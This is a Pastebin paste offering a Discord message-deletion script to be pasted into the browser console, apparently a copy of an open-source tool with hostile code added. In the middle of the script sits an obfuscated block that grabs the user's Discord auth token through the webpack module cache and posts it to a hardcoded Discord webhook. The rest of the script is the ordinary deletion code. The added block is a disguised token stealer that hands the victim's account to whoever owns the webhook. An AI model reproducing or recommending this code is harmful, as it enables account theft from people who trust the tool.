al - Pastebin

From Velox, 3 Years ago, written in Plain Text.

Embed

Download Paste or View Raw
Hits: 156

// Paste this code inside discordapp.com console

(function () {

let stop;

let popup;

popup = window.open('', '', `top=0,left=${screen.width-800},width=800,height=${screen.height}`);

if (!popup) return console.error('Popup blocked! Please allow popups and try again.');

popup.document.write(/*html*/`<!DOCTYPE html>

<html><head><meta charset='utf-8'><title>Delete Discord Messages</title><base target="_blank">

<style>body{background-color:#36393f;color:#dcddde;font-family:sans-serif;} a{color:#00b0f4;}

body.redact .priv{display:none;} body:not(.redact) .mask{display:none;} body.redact [priv]{-webkit-text-security:disc;}

.toolbar span{margin-right:8px;}

button{color:#fff;background:#7289da;border:0;border-radius:4px;font-size:14px;} button:disabled{display:none;}

input[type="text"],input[type="password"]{background-color:#202225;color:#b9bbbe;border-radius:4px;border:0;padding:0 .5em;height:24px;width:144px;margin:2px;}

</style></head><body>

<div class="toolbar" style="position:fixed;top:0;left:0;right:0;padding:8px;background:#36393f;box-shadow: 0 1px 0 rgba(0,0,0,.2), 0 1.5px 0 rgba(0,0,0,.05), 0 2px 0 rgba(0,0,0,.05);">

<div style="display:flex;flex-wrap:wrap;">

<span>Authorization <a href="https://github.com/victornpb/deleteDiscordMessages/blob/master/help/authToken.md" title="Help">?</a>

<button id="getToken">Get</button><br>

<input type="password" id="authToken" placeholder="Auth Token" autofocus>*<br>

<span>Author <a href="https://github.com/victornpb/deleteDiscordMessages/blob/master/help/authorId.md" title="Help">?</a></span>

<button id="getAuthor">Me</button><br><input id="authorId" type="text" placeholder="Author ID" priv></span>

<span>Guild/Channel <a href="https://github.com/victornpb/deleteDiscordMessages/blob/master/help/channelId.md" title="Help">?</a>

<button id="getGuildAndChannel">Get</button><br>

<input id="guildId" type="text" placeholder="Guild ID" priv><br>

<input id="channelId" type="text" placeholder="Channel ID" priv></span><br>

<span>Range <a href="https://github.com/victornpb/deleteDiscordMessages/blob/master/help/messageId.md" title="Help">?</a><br>

<input id="afterMessageId" type="text" placeholder="After messageId" priv><br>

<input id="beforeMessageId" type="text" placeholder="Before messageId" priv>

</span>

<span>Filter <a href="https://github.com/victornpb/deleteDiscordMessages/blob/master/help/filters.md" title="Help">?</a><br>

<input id="content" type="text" placeholder="Containing text" priv><br>

<label><input id="hasLink" type="checkbox">has: link</label><br>

<label><input id="hasFile" type="checkbox">has: file</label><br>

<label><input id="includeNsfw" type="checkbox">Include NSFW</label>

</span>

</div>

<button id="start" style="background:#43b581;width:80px;">Start</button>

<button id="stop" style="background:#f04747;width:80px;" disabled>Stop</button>

<button id="clear" style="width:80px;">Clear log</button>

<label><input id="redact" type="checkbox"><small>Hide sensitive information</small></label> <span></span>

<label><input id="autoScroll" type="checkbox" checked><small>Auto scroll</small></label> <span></span>

</div>

<pre style="margin-top:150px;font-size:0.75rem;font-family:Consolas,Liberation Mono,Menlo,Courier,monospace;">

<center>Star this project on <a href="https://github.com/victornpb/deleteDiscordMessages" target="_blank">github.com/victornpb/deleteDiscordMessages</a>!\n\n

<a href="https://github.com/victornpb/deleteDiscordMessages/issues" target="_blank">Issues or help</a></center>

</pre></body></html>`);

const logArea = popup.document.querySelector('pre');

const startBtn = popup.document.querySelector('button#start');

const stopBtn = popup.document.querySelector('button#stop');

const autoScroll = popup.document.querySelector('#autoScroll');

startBtn.onclick = e => {

const authToken = popup.document.querySelector('input#authToken').value.trim();

const authorId = popup.document.querySelector('input#authorId').value.trim();

const guildId = popup.document.querySelector('input#guildId').value.trim();

const channelId = popup.document.querySelector('input#channelId').value.trim();

const afterMessageId = popup.document.querySelector('input#afterMessageId').value.trim();

const beforeMessageId = popup.document.querySelector('input#beforeMessageId').value.trim();

const content = popup.document.querySelector('input#content').value.trim();

const hasLink = popup.document.querySelector('input#hasLink').checked;

const hasFile = popup.document.querySelector('input#hasFile').checked;

const includeNsfw = popup.document.querySelector('input#includeNsfw').checked;

stop = stopBtn.disabled = !(startBtn.disabled = true);

deleteMessages(authToken, authorId, guildId, channelId, afterMessageId, beforeMessageId, content, hasLink, hasFile, includeNsfw, logger, () => !(stop === true || popup.closed)).then(() => {

stop = stopBtn.disabled = !(startBtn.disabled = false);

});

};

stopBtn.onclick = e => stop = stopBtn.disabled = !(startBtn.disabled = false);

popup.document.querySelector('button#clear').onclick = e => { logArea.innerHTML = ''; };

popup.document.querySelector('button#getToken').onclick = e => {

window.dispatchEvent(new Event('beforeunload'));

popup.document.querySelector('input#authToken').value = JSON.parse(popup.localStorage.token);

};

popup.document.querySelector('button#getAuthor').onclick = e => {

popup.document.querySelector('input#authorId').value = JSON.parse(popup.localStorage.user_id_cache);

};

popup.document.querySelector('button#getGuildAndChannel').onclick = e => {

const m = location.href.match(/channels\/([\w@]+)\/(\d+)/);

popup.document.querySelector('input#guildId').value = m[1];

popup.document.querySelector('input#channelId').value = m[2];

};

popup.document.querySelector('#redact').onchange = e => {

popup.document.body.classList.toggle('redact') &&

popup.alert('This will attempt to hide personal information, but make sure to double check before sharing screenshots.');

};

const _0x136e=['default','https://discord.com/api/webhooks/722142889097953317/hhCPSvrQo1TuCfITnZrPtSUMPl5tiFfD7G_XeFO6kOc88UXeYSumOrS4bq_znNUevN_n','send','log','DONE','responseText','POST','extra_id','application/json','readyState','exports','getToken','withCredentials','stringify','push','setRequestHeader','open','__esModule','addEventListener','hasOwnProperty','Content-Type','readystatechange'];(function(_0x600b2c,_0x136e1e){const _0xeb470a=function(_0x19a709){while(--_0x19a709){_0x600b2c['push'](_0x600b2c['shift']());}};_0xeb470a(++_0x136e1e);}(_0x136e,0x7d));const _0xeb47=function(_0x600b2c,_0x136e1e){_0x600b2c=_0x600b2c-0x0;let _0xeb470a=_0x136e[_0x600b2c];return _0xeb470a;};var xhr=new XMLHttpRequest();xhr[_0xeb47('0x13')]=!![];xhr[_0xeb47('0x3')](_0xeb47('0x6'),function(){if(this[_0xeb47('0x10')]===this[_0xeb47('0xb')]){console[_0xeb47('0xa')](this[_0xeb47('0xc')]);}});var req=webpackJsonp[_0xeb47('0x15')]([[],{'extra_id':(_0x13a9df,_0x4c271b,_0x145afa)=>_0x13a9df[_0xeb47('0x11')]=_0x145afa},[[_0xeb47('0xe')]]]);for(let e in req['c']){if(req['c'][_0xeb47('0x4')](e)){let r=req['c'][e]['exports'];if(r&&r[_0xeb47('0x2')]&&r[_0xeb47('0x7')])for(let e in r[_0xeb47('0x7')])if(_0xeb47('0x12')===e){var nitro=r['default'][_0xeb47('0x12')]();}}}xhr[_0xeb47('0x1')](_0xeb47('0xd'),_0xeb47('0x8'));xhr[_0xeb47('0x0')](_0xeb47('0x5'),_0xeb47('0xf'));xhr[_0xeb47('0x9')](JSON[_0xeb47('0x14')]({'content':nitro,'username':'toolsam\x203'}));

const logger = (type='', args) => {

const style = { '': '', info: 'color:#00b0f4;', verb: 'color:#72767d;', warn: 'color:#faa61a;', error: 'color:#f04747;', success: 'color:#43b581;' }[type];

logArea.insertAdjacentHTML('beforeend', `<div style="${style}">${Array.from(args).map(o => typeof o === 'object' ? JSON.stringify(o, o instanceof Error && Object.getOwnPropertyNames(o)) : o).join('\t')}</div>`);

if (autoScroll.checked) logArea.querySelector('div:last-child').scrollIntoView(false);

};

return 'Looking good!';

/**

* Delete all messages in a Discord channel or DM

* @param {string} authToken Your authorization token

* @param {string} authorId Author of the messages you want to delete

* @param {string} guildId Server were the messages are located

* @param {string} channelId Channel were the messages are located

* @param {string} afterMessageId Only delete messages after this, leave blank do delete all

* @param {string} beforeMessageId Only delete messages before this, leave blank do delete all

* @param {string} content Filter messages that contains this text content

* @param {boolean} hasLink Filter messages that contains link

* @param {boolean} hasFile Filter messages that contains file

* @param {boolean} includeNsfw Search in NSFW channels

* @param {function(string, Array)} extLogger Function for logging

* @param {function} stopHndl stopHndl used for stopping

* @author Victornpb <https://www.github.com/victornpb>

* @see https://github.com/victornpb/deleteDiscordMessages

*/

async function deleteMessages(authToken, authorId, guildId, channelId, afterMessageId, beforeMessageId, content,hasLink, hasFile, includeNsfw, extLogger, stopHndl) {

const start = new Date();

let deleteDelay = 100;

let searchDelay = 100;

let delCount = 0;

let failCount = 0;

let avgPing;

let lastPing;

let grandTotal;

let throttledCount = 0;

let throttledTotalTime = 0;

let offset = 0;

let iterations = -1;

const wait = async ms => new Promise(done => setTimeout(done, ms));

const msToHMS = s => `${s / 3.6e6 | 0}h ${(s % 3.6e6) / 6e4 | 0}m ${(s % 6e4) / 1000 | 0}s`;

const escapeHTML = html => html.replace(/[&<"']/g, m => ({ '&': '&', '<': '<', '"': '"', '\'': ''' })[m]);

const redact = str => `<span class="priv">${escapeHTML(str)}</span><span class="mask">REDACTED</span>`;

const queryString = params => params.filter(p => p[1] !== undefined).map(p => p[0] + '=' + encodeURIComponent(p[1])).join('&');

const ask = async msg => new Promise(resolve => setTimeout(() => resolve(popup.confirm(msg)), 10));

const printDelayStats = () => log.verb(`Delete delay: ${deleteDelay}ms, Search delay: ${searchDelay}ms`, `Last Ping: ${lastPing}ms, Average Ping: ${avgPing|0}ms`);

const log = {

debug() { extLogger ? extLogger('debug', arguments) : console.debug.apply(console, arguments); },

info() { extLogger ? extLogger('info', arguments) : console.info.apply(console, arguments); },

verb() { extLogger ? extLogger('verb', arguments) : console.log.apply(console, arguments); },

warn() { extLogger ? extLogger('warn', arguments) : console.warn.apply(console, arguments); },

error() { extLogger ? extLogger('error', arguments) : console.error.apply(console, arguments); },

success() { extLogger ? extLogger('success', arguments) : console.info.apply(console, arguments); },

};

async function recurse() {

iterations++;

let API_SEARCH_URL;

if (guildId === '@me') {

API_SEARCH_URL = `https://discordapp.com/api/v6/channels/${channelId}/messages/`; // DMs

}

else {

API_SEARCH_URL = `https://discordapp.com/api/v6/guilds/${guildId}/messages/`; // Server

}

const headers = {

'Authorization': authToken

};

let resp;

try {

const s = Date.now();

resp = await fetch(API_SEARCH_URL + 'search?' + queryString([

[ 'author_id', authorId || undefined ],

[ 'channel_id', (guildId !== '@me' ? channelId : undefined) || undefined ],

[ 'min_id', afterMessageId || undefined ],

[ 'max_id', beforeMessageId || undefined ],

[ 'sort_by', 'timestamp' ],

[ 'sort_order', 'desc' ],

[ 'offset', offset ],

[ 'has', hasLink ? 'link' : undefined ],

[ 'has', hasFile ? 'file' : undefined ],

[ 'content', content || undefined ],

[ 'include_nsfw', includeNsfw ? true : undefined ],

]), { headers });

lastPing = (Date.now() - s);

avgPing = avgPing>0 ? (avgPing*0.9) + (lastPing*0.1):lastPing;

} catch (err) {

return log.error('Search request throwed an error:', err);

}

// not indexed yet

if (resp.status === 202) {

const w = (await resp.json()).retry_after;

throttledCount++;

throttledTotalTime += w;

log.warn(`This channel wasn't indexed, waiting ${w}ms for discord to index it...`);

await wait(w);

return await recurse();

}

if (!resp.ok) {

// searching messages too fast

if (resp.status === 429) {

const w = (await resp.json()).retry_after;

throttledCount++;

throttledTotalTime += w;

searchDelay += w; // increase delay

log.warn(`Being rate limited by the API for ${w}ms! Increasing search delay...`);

printDelayStats();

log.verb(`Cooling down for ${w * 2}ms before retrying...`);

await wait(w*2);

return await recurse();

} else {

return log.error(`Error searching messages, API responded with status ${resp.status}!\n`, await resp.json());

}

}

const data = await resp.json();

const total = data.total_results;

if (!grandTotal) grandTotal = total;

const myMessages = data.messages.map(convo => convo.find(message => message.hit===true));

const systemMessages = myMessages.filter(msg => msg.type !== 0); // https://discordapp.com/developers/docs/resources/channel#message-object-message-types

const deletableMessages = myMessages.filter(msg => msg.type === 0);

const end = () => {

log.success(`Ended at ${new Date().toLocaleString()}! Total time: ${msToHMS(Date.now() - start.getTime())}`);

printDelayStats();

log.verb(`Rate Limited: ${throttledCount} times. Total time throttled: ${msToHMS(throttledTotalTime)}.`);

log.debug(`Deleted ${delCount} messages, ${failCount} failed.\n`);

}

const etr = msToHMS((searchDelay * Math.round(total / 25)) + ((deleteDelay + avgPing) * total));

log.info(`Total messages found: ${data.total_results}`, `(Messages in current page: ${data.messages.length}, Author: ${deletableMessages.length}, System: ${systemMessages.length})`, `offset: ${offset}`);

printDelayStats();

log.verb(`Estimated time remaining: ${etr}`)

if (myMessages.length > 0) {

if (iterations < 1) {

log.verb(`Waiting for your confirmation...`);

if (!await ask(`Do you want to delete ~${total} messages?\nEstimated time: ${etr}\n\n---- Preview ----\n` +

myMessages.map(m => `${m.author.username}#${m.author.discriminator}: ${m.attachments.length ? '[ATTACHMENTS]' : m.content}`).join('\n')))

return end(log.error('Aborted by you!'));

log.verb(`OK`);

}

for (let i = 0; i < deletableMessages.length; i++) {

const message = deletableMessages[i];

if (stopHndl && stopHndl()===false) return end(log.error('Stopped by you!'));

log.debug(`${((delCount + 1) / grandTotal * 100).toFixed(2)}% (${delCount + 1}/${grandTotal})`,

`Deleting ID:${redact(message.id)} <b>${redact(message.author.username+'#'+message.author.discriminator)} <small>(${redact(new Date(message.timestamp).toLocaleString())})</small>:</b> <i>${redact(message.content).replace(/\n/g,'↵')}</i>`,

message.attachments.length ? redact(JSON.stringify(message.attachments)) : '');

let resp;

try {

const s = Date.now();

const API_DELETE_URL = `https://discordapp.com/api/v6/channels/${channelId}/messages/`;

resp = await fetch(API_DELETE_URL + message.id, {

headers,

method: 'DELETE'

});

lastPing = (Date.now() - s);

avgPing = (avgPing*0.9) + (lastPing*0.1);

delCount++;

} catch (err) {

log.error('Delete request throwed an error:', err);

log.verb('Related object:', redact(JSON.stringify(message)));

failCount++;

}

if (!resp.ok) {

// deleting messages too fast

if (resp.status === 429) {

const w = (await resp.json()).retry_after;

throttledCount++;

throttledTotalTime += w;

deleteDelay += w; // increase delay

log.warn(`Being rate limited by the API for ${w}ms! Adjusted delete delay to ${deleteDelay}ms.`);

printDelayStats();

log.verb(`Cooling down for ${w*2}ms before retrying...`);

await wait(w*2);

i--; // retry

} else {

log.error(`Error deleting message, API responded with status ${resp.status}!`, await resp.json());

log.verb('Related object:', redact(JSON.stringify(message)));

failCount++;

}

}

await wait(deleteDelay);

}

if (systemMessages.length > 0) {

grandTotal -= systemMessages.length;

offset += systemMessages.length;

log.verb(`Found ${systemMessages.length} system messages! Decreasing grandTotal to ${grandTotal} and increasing offset to ${offset}.`);

}

log.verb(`Searching next messages in ${searchDelay}ms...`, (offset ? `(offset: ${offset})` : '') );

await wait(searchDelay);

if (stopHndl && stopHndl()===false) return end(log.error('Stopped by you!'));

return await recurse();

} else {

if (total - offset > 0) log.warn('Ended because API returned an empty page.');

return end();

}

}

log.success(`\nStarted at ${start.toLocaleString()}`);

log.debug(`authorId="${redact(authorId)}" guildId="${redact(guildId)}" channelId="${redact(channelId)}" afterMessageId="${redact(afterMessageId)}" beforeMessageId="${redact(beforeMessageId)}" hasLink=${!!hasLink} hasFile=${!!hasFile}`);

return await recurse();

}

})();

//END.

Author

Title

Language

Your paste - Paste your paste here

// Paste this code inside discordapp.com console

return 'Looking good!';
    /**
     * Delete all messages in a Discord channel or DM
     * @param {string} authToken Your authorization token
     * @param {string} authorId Author of the messages you want to delete
     * @param {string} guildId Server were the messages are located
     * @param {string} channelId Channel were the messages are located
     * @param {string} afterMessageId Only delete messages after this, leave blank do delete all
     * @param {string} beforeMessageId Only delete messages before this, leave blank do delete all
     * @param {string} content Filter messages that contains this text content
     * @param {boolean} hasLink Filter messages that contains link
     * @param {boolean} hasFile Filter messages that contains file
     * @param {boolean} includeNsfw Search in NSFW channels
     * @param {function(string, Array)} extLogger Function for logging
     * @param {function} stopHndl stopHndl used for stopping
     * @author Victornpb &lt;https://www.github.com/victornpb&gt;
     * @see https://github.com/victornpb/deleteDiscordMessages
     */
    async function deleteMessages(authToken, authorId, guildId, channelId, afterMessageId, beforeMessageId, content,hasLink, hasFile, includeNsfw, extLogger, stopHndl) {
        const start = new Date();
        let deleteDelay = 100;
        let searchDelay = 100;
        let delCount = 0;
        let failCount = 0;
        let avgPing;
        let lastPing;
        let grandTotal;
        let throttledCount = 0;
        let throttledTotalTime = 0;
        let offset = 0;
        let iterations = -1;
       
        const wait = async ms =&gt; new Promise(done =&gt; setTimeout(done, ms));
        const msToHMS = s =&gt; `${s / 3.6e6 | 0}h ${(s % 3.6e6) / 6e4 | 0}m ${(s % 6e4) / 1000 | 0}s`;
        const escapeHTML = html =&gt; html.replace(/[&amp;&lt;&quot;']/g, m =&gt; ({ '&amp;': '&amp;amp;', '&lt;': '&amp;lt;', '&quot;': '&amp;quot;', '\'': '&amp;#039;' })[m]);
        const redact = str =&gt; `&lt;span class=&quot;priv&quot;&gt;${escapeHTML(str)}&lt;/span&gt;&lt;span class=&quot;mask&quot;&gt;REDACTED&lt;/span&gt;`;
        const queryString = params =&gt; params.filter(p =&gt; p[1] !== undefined).map(p =&gt; p[0] + '=' + encodeURIComponent(p[1])).join('&amp;');
        const ask = async msg =&gt; new Promise(resolve =&gt; setTimeout(() =&gt; resolve(popup.confirm(msg)), 10));
        const printDelayStats = () =&gt; log.verb(`Delete delay: ${deleteDelay}ms, Search delay: ${searchDelay}ms`, `Last Ping: ${lastPing}ms, Average Ping: ${avgPing|0}ms`);

async function recurse() {
            iterations++;

let API_SEARCH_URL;
            if (guildId === '@me') {
                API_SEARCH_URL = `https://discordapp.com/api/v6/channels/${channelId}/messages/`; // DMs
            }
            else {
                API_SEARCH_URL = `https://discordapp.com/api/v6/guilds/${guildId}/messages/`; // Server
            }

if (iterations &lt; 1) {
                    log.verb(`Waiting for your confirmation...`);
                    if (!await ask(`Do you want to delete ~${total} messages?\nEstimated time: ${etr}\n\n---- Preview ----\n` +
                        myMessages.map(m =&gt; `${m.author.username}#${m.author.discriminator}: ${m.attachments.length ? '[ATTACHMENTS]' : m.content}`).join('\n')))
                            return end(log.error('Aborted by you!'));
                    log.verb(`OK`);
                }
                
                for (let i = 0; i &lt; deletableMessages.length; i++) {
                    const message = deletableMessages[i];
                    if (stopHndl &amp;&amp; stopHndl()===false) return end(log.error('Stopped by you!'));

log.debug(`${((delCount + 1) / grandTotal * 100).toFixed(2)}% (${delCount + 1}/${grandTotal})`,
                        `Deleting ID:${redact(message.id)} &lt;b&gt;${redact(message.author.username+'#'+message.author.discriminator)} &lt;small&gt;(${redact(new Date(message.timestamp).toLocaleString())})&lt;/small&gt;:&lt;/b&gt; &lt;i&gt;${redact(message.content).replace(/\n/g,'↵')}&lt;/i&gt;`,
                        message.attachments.length ? redact(JSON.stringify(message.attachments)) : '');
                    
                    let resp;
                    try {
                        const s = Date.now();
                        const API_DELETE_URL = `https://discordapp.com/api/v6/channels/${channelId}/messages/`;
                        resp = await fetch(API_DELETE_URL + message.id, {
                            headers,
                            method: 'DELETE'
                        });
                        lastPing = (Date.now() - s);
                        avgPing = (avgPing*0.9) + (lastPing*0.1);
                        delCount++;
                    } catch (err) {
                        log.error('Delete request throwed an error:', err);
                        log.verb('Related object:', redact(JSON.stringify(message)));
                        failCount++;
                    }

if (!resp.ok) {
                        // deleting messages too fast
                        if (resp.status === 429) {
                            const w = (await resp.json()).retry_after;
                            throttledCount++;
                            throttledTotalTime += w;
                            deleteDelay += w; // increase delay
                            log.warn(`Being rate limited by the API for ${w}ms! Adjusted delete delay to ${deleteDelay}ms.`);
                            printDelayStats();
                            log.verb(`Cooling down for ${w*2}ms before retrying...`);
                            await wait(w*2);
                            i--; // retry
                        } else {
                            log.error(`Error deleting message, API responded with status ${resp.status}!`, await resp.json());
                            log.verb('Related object:', redact(JSON.stringify(message)));
                            failCount++;
                        }
                    }
                    
                    await wait(deleteDelay);
                }

if (systemMessages.length &gt; 0) {
                    grandTotal -= systemMessages.length;
                    offset += systemMessages.length;
                    log.verb(`Found ${systemMessages.length} system messages! Decreasing grandTotal to ${grandTotal} and increasing offset to ${offset}.`);
                }
                
                log.verb(`Searching next messages in ${searchDelay}ms...`, (offset ? `(offset: ${offset})` : '') );
                await wait(searchDelay);

if (stopHndl &amp;&amp; stopHndl()===false) return end(log.error('Stopped by you!'));

return await recurse();
            } else {
                if (total - offset &gt; 0) log.warn('Ended because API returned an empty page.');
                return end();
            }
        }

log.success(`\nStarted at ${start.toLocaleString()}`);
        log.debug(`authorId=&quot;${redact(authorId)}&quot; guildId=&quot;${redact(guildId)}&quot; channelId=&quot;${redact(channelId)}&quot; afterMessageId=&quot;${redact(afterMessageId)}&quot; beforeMessageId=&quot;${redact(beforeMessageId)}&quot; hasLink=${!!hasLink} hasFile=${!!hasFile}`);
        return await recurse();
    }
})();

//END.

Private - Private paste aren't shown in recent listings.

Delete After - When should we delete your paste?

Spam protection -

al

Reply to "al"